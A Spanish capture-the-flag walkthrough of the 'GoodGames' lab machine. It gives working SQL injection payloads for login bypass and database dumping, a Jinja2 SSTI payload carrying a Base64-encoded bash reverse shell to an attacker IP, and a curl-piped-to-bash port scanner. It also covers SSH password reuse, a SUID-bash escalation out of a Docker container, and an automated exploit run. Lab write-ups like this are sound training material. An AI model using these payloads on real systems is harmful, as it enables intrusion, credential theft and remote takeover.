GoodGames
10 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.130
- Fecha: 21 / 02 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.130 -p 80
Nmap scan report for 10.10.11.130
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.20 seconds
La máquina tiene abierto el puerto 80 (HTTP).
Enumeración web
Podemos empezar accediendo a http://10.10.11.130
:
Vemos una página web que muestra algunos videojuegos, aunque muchos de los enlaces están desactivados. Podemos encontrar una sección de “blog”:
Pero no hay nada interesante aún. También tenemos un formulario de inicio de sesión:
Evasión de la autenticación
Una de las primeras cosas a probar cuando se tiene un formulario de este tipo es inyección de código SQL con un payload como ' or 1=1-- -
(en el campo de usuario/email). Si lo hacemos y ponemos una contraseña cualquiera, nos saltamos la autenticación y accedemos como admin
:
En este punto, podemos acceder a otra página web en http://internal-administration.goodgames.htb
(pinchando en el icono de arriba a la derecha). Pero primero tenemos que añadir internal-administration.goodgames.htb
al archivo /etc/hosts
:
No tenemos credenciales. Podemos intentar una inyección de código SQL otra vez, pero no funciona.
Explotación de SQLi
En este punto, recordamos que teníamos una inyección de código SQL en la otra página. Utilizando esta, podemos obtener el contenido de la base de datos y buscar contraseñas potenciales.
Primero, vamos a identificar el tipo de SQLi que tenemos. De momento, podemos utilizarla como Boolean-based (Blind) SQLi, porque accedemos si una condición es cierta y obtenemos un error si es falsa:
$ curl 10.10.11.130/login -sd "email=' or 1=1-- -&password=x" | grep error
$ curl 10.10.11.130/login -sd "email=' or 1=2-- -&password=x" | grep error
<h2 class="h4">Internal server error!</h2>
Este tipo de SQLi puede ser utilizado para extraer el contenido de la base de datos pero carácter a carácter, por lo que el proceso será muy lento.
No obstante, podemos tratar de buscar un Union-based SQLi. Para ello, necesitamos agregar UNION SELECT
y ver si el servidor refleja alguna de nuestras entradas, hasta que tengamos el número de columnas correcto:
$ curl 10.10.11.130/login -sd "email=' union select 111-- -&password=x" | grep -E '111'
$ curl 10.10.11.130/login -sd "email=' union select 111,222-- -&password=x" | grep -E '111|222'
$ curl 10.10.11.130/login -sd "email=' union select 111,222,333-- -&password=x" | grep -E '111|222|333'
$ curl 10.10.11.130/login -sd "email=' union select 111,222,333,444-- -&password=x" | grep -E '111|222|333|444'
<h2 class="h4">Welcome 444</h2>
Y aquí lo tenemos: la cuarta columna se está reflejando. Ahora podemos listar información básica acerca del gestor de base de datos:
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,database()-- -&password=x" | grep Welcome
<h2 class="h4">Welcome main</h2>
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,version()-- -&password=x" | grep Welcome
<h2 class="h4">Welcome 8.0.27</h2>
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,user()-- -&password=x" | grep Welcome
<h2 class="h4">Welcome main_admin@localhost</h2>
Por comodidad, vamos a utilizar cut
y sed
en Bash para quitar los resultados no deseados:
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,database()-- -&password=x" | grep Welcome | cut -c44- | sed 's/<\/h2>$//g'
main
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,version()-- -&password=x" | grep Welcome | cut -c44- | sed 's/<\/h2>$//g'
8.0.27
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,user()-- -&password=x" | grep Welcome | cut -c44- | sed 's/<\/h2>$//g'
main_admin@localhost
Mucho mejor. Ya podemos comenzar el proceso de exfiltración. Primero de todo, tenemos que enumerar todas las bases de datos disponibles (main
es la que está actualmente en uso):
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=x" | grep Welcome | cut -c44- | sed 's/<\/h2>$//g'
information_schema,main
Utilizamos GROUP_CONCAT
para evitar que varias filas se impriman juntas. Vemos que hay dos bases de datos (una de ellas es information_schema
), por lo que solo nos centraremos en main
. El siguiente paso es enumerar las tablas existentes en la base de datos:
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -&password=x" | grep Welcome | cut -c44- | sed 's/<\/h2>$//g'
blog,blog_comments,user
Hay tres tablas. La más interesante es user
ya que es probable que contenga información sensible. Ahora tenemos que obtener el nombre de las columnas de esta tabla:
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='user'-- -&password=x" | grep Welcome | cut -c44- | sed 's/<\/h2>$//g'
email,id,name,password
Y como vemos, hay cuatro columnas. Vamos a usar CONCAT
para juntar las cuatro columnas en un solo campo mediante espacios (0x20
) y listar el contenido de la primera fila (LIMIT 1
):
$ curl 10.10.11.130/login -sd "email=' union select 1,2,3,concat(id,0x20,email,0x20,name,0x20,password) from user limit 1-- -&password=x" | grep Welcome | cut -c44- | sed 's/<\/h2>$//g'
1 admin@goodgames.htb admin 2b22337f218b2d82dfc3b6f77e7cb8ec
Encontrando un SSTI
Ahora tenemos el hash de la contraseña de admin
. Parece que es un hash MD5, luego podemos tratar de romperlo. Esta vez, en lugar de utilizar un ataque de diccionario mediante john
o hashcat
usaremos tablas arcoíris (rainbow tables) para obtener la contraseña en texto claro. Por ejemplo, podemos ir a CrackStation:
Si volvemos al formulario de http://internal-administration.goodgames.htb
y usamos admin:superadministrator
como credentiales, entramos:
La única acción que podemos realizar aquí es cambiar nuestro perfil:
En este punto, tenemos que darnos cuenta de que el servidor está usando Python (la salida de nmap
lo muestra). Podemos verlo en las cabeceras de la respuesta HTTP:
$ curl -I internal-administration.goodgames.htb
HTTP/1.1 302 FOUND
Date:
Server: Werkzeug/2.0.2 Python/3.6.7
Content-Type: text/html; charset=utf-8
Content-Length: 218
Location: http://internal-administration.goodgames.htb/login
Además, podemos deducir que está utilizando Flask porque el mensaje de estado de la respuesta HTTP está en mayúsculas.
Con esta información, podemos trataar de explotar Jinja2, que es el motor de plantillas por defecto de Flask. Este ataque es conocido como Server-Side Template Injection (SSTI) y puede derivar en ejecución de comandos.
Primero de todo, tenemos que verificar que es realmente vulnerable. Para ello podemos utilizar un payload sencillo como {{7*7}}
, y si vemos 49
, entonces es vulnerable. Una imagen vale más que mil palabras…
Ahora podemos transformar el SSTI en ejecución remota de comandos (RCE) utilizando alguno de los payloads de PayloadsAllTheThings. Estaré utilizando este:
{{cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read()}}
Contiene una reverse shell codificada en Base64:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Si escuchamos con nc
, recibiremos una conexión:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.130.
Ncat: Connection from 10.10.11.130:56268.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@3a453ab39d3d:/backend# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@3a453ab39d3d:/backend# export TERM=xterm
root@3a453ab39d3d:/backend# export SHELL=bash
root@3a453ab39d3d:/backend# stty rows 50 columns 158
Enumeración del sistema
Lo primero de lo que nos damos cuenta es de que somos root
y de que el nombre del host es un poro raro. Esto son indicios de que estamos en un contenedor de Docker. Además, la dirección IP no es 10.10.11.130
:
root@3a453ab39d3d:/backend# ls -la /
total 96
drwxr-xr-x 1 root root 4096 Nov 5 15:23 .
drwxr-xr-x 1 root root 4096 Nov 5 15:23 ..
-rwxr-xr-x 1 root root 0 Nov 5 15:23 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 22 21:57 backend
drwxr-xr-x 1 root root 4096 Nov 5 15:28 bin
drwxr-xr-x 2 root root 4096 Oct 20 2018 boot
drwxr-xr-x 5 root root 340 Feb 22 05:32 dev
drwxr-xr-x 1 root root 4096 Feb 22 21:29 etc
drwxr-xr-x 1 root root 4096 Nov 5 15:23 home
drwxr-xr-x 1 root root 4096 Nov 16 2018 lib
drwxr-xr-x 2 root root 4096 Nov 12 2018 lib64
drwxr-xr-x 2 root root 4096 Nov 12 2018 media
drwxr-xr-x 2 root root 4096 Nov 12 2018 mnt
drwxr-xr-x 2 root root 4096 Nov 12 2018 opt
dr-xr-xr-x 470 root root 0 Feb 22 05:32 proc
drwx------ 1 root root 4096 Feb 22 17:35 root
drwxr-xr-x 1 root root 4096 Feb 22 13:19 run
drwxr-xr-x 1 root root 4096 Nov 5 15:28 sbin
drwxr-xr-x 2 root root 4096 Nov 12 2018 srv
dr-xr-xr-x 13 root root 0 Feb 22 13:40 sys
drwxrwxrwt 1 root root 4096 Feb 22 21:18 tmp
drwxr-xr-x 1 root root 4096 Nov 12 2018 usr
drwxr-xr-x 1 root root 4096 Nov 12 2018 var
root@3a453ab39d3d:/backend# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
valid_lft forever preferred_lft forever
Vemos que hay un archivo .dockerenv
en el directorio raíz y que la dirección IP es 172.19.0.2
.
Es probable que la máquina anfitrión tenga un interfaz de red con dirección IP 172.19.0.1
. Vamos a comprobarlo:
root@3a453ab39d3d:/backend# ping -c 1 172.19.0.1
PING 172.19.0.1 (172.19.0.1) 56(84) bytes of data.
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.041 ms
--- 172.19.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.041/0.041/0.041/0.000 ms
Ok, ahora vamos a realizar un escaneo de puertos desde el contenedor utilizando un script en Bash como este:
#!/usr/bin/env bash
for p in `seq 1 65535`; do
timeout 1 echo 2>/dev/null > /dev/tcp/172.19.0.1/$p && echo "Port $p open" &
done; wait
Es necesario realizarlo porque la máquina solamente tiene expuesto el puerto 80, pero no sabemos si tiene más puertos abiertos y expuestos en redes internas.
Podemos servir este script con un servidor HTTP en Python y encadenarlo a Bash:
root@3a453ab39d3d:/backend# curl -s 10.10.17.44/port-scan.sh | bash
Port 22 open
Port 80 open
Y vemos que SSH está habilitado en la máquina. Vamos a ver si encontramos un nombre de usuario en el contenedor:
root@3a453ab39d3d:/backend# ls /home
augustus
Y aquí está, ahora podemos tratar de reutilizar la contraseña que encontramos anteriormente:
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
augustus@GoodGames:~$ cat user.txt
ddbe9ee6b6856ae9e700f72fc2d3052b
Escalada de privilegios
Un momento, antes vimos un directorio /home/augustus
en el contenedor. Eso es extraño, vamos a volver y ver si realmente augustus
es un usuario:
root@3a453ab39d3d:/backend# grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
root@3a453ab39d3d:/backend# grep augustus /etc/passwd
No lo es, el único usuario en el contenedor es root
. Por tanto, el contenedor tiene un montaje de volumen desde la máquina anfitrión (es decir, /home/augustus
). Podemos verificarlo con df
o mount
:
root@3a453ab39d3d:/backend# df -h
Filesystem Size Used Avail Use% Mounted on
overlay 6.3G 5.9G 60M 100% /
tmpfs 64M 0 64M 0% /dev
tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup
/dev/sda1 6.3G 5.9G 60M 100% /home/augustus
shm 64M 0 64M 0% /dev/shm
tmpfs 2.0G 0 2.0G 0% /proc/acpi
tmpfs 2.0G 0 2.0G 0% /sys/firmware
root@3a453ab39d3d:/backend# mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
Perfecto, la idea es copiar /bin/bash
de la máquina a /home/augustus
como usuario augustus
y modificar su propietario y sus permisos para habilitar SUID desde el contenedor (como root
):
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls
bash user.txt
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.
root@3a453ab39d3d:/backend# chown root:root /home/augustus/bash
root@3a453ab39d3d:/backend# chmod 4755 /home/augustus/bash
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
augustus@GoodGames:~$ ls
bash user.txt
Y ahora solamente tenemos que ejecutar bash
desde el directorio actual utilizando -p
para que se utilice el privilegio SUID:
augustus@GoodGames:~$ ./bash -p
bash-5.1# cat /root/root.txt
075cbfa6e2f8a12e8024c7b1b08a4909
Como añadido, todos los pasos necesarios para comprometer la máquina se han programado en un script en Python llamado autopwn.py
(explicación detallada aquí):
$ python3 autopwn.py $WORDLISTS/rockyou.txt 10.10.17.44 4444
[*] Found database: main
[*] Found tables: blog,blog_comments,user. Using: user
[*] Found columns: email,id,name,password. Using: name,password
[+] Found hashed password for "admin": 2b22337f218b2d82dfc3b6f77e7cb8ec
[+] Cracking hash: superadministrator
[*] Got CSRF token: IjJmM2FhN2M5NmQyNzMxMDYwYWUxNGRhODE2YThmNzkxYzY1YTdiZGQi.Yhdd1A.EFHJgaw43_YSRoK4TcJcKW0V098
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.11.130 on port 58366
[*] Using reverse shell: bash -i >& /dev/tcp/10.10.17.44/4444 0>&1
[*] Using SSTI payload: {{cycler.__init__.__globals__.os.popen("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash").read()}}
[*] Found user: augustus
[*] Connected to container at: 172.19.0.2
[*] SSH to 172.19.0.1 using credentials "augustus:superadministrator"
[+] user.txt: b26a4127cbfb7a1bcbf8e59b1e864a77
[+] root.txt: c682307c4267caea83431507bad0819c
[*] Set: alias bash="/home/augustus/bash -p"
[*] Using reverse shell: bash -i >& /dev/tcp/10.10.17.44/4445 0>&1
[+] Trying to bind to :: on port 4445: Done
[+] Waiting for connections on :::4445: Got connection from ::ffff:10.10.11.130 on port 45680
[*] Switching to interactive mode
bash-5.1#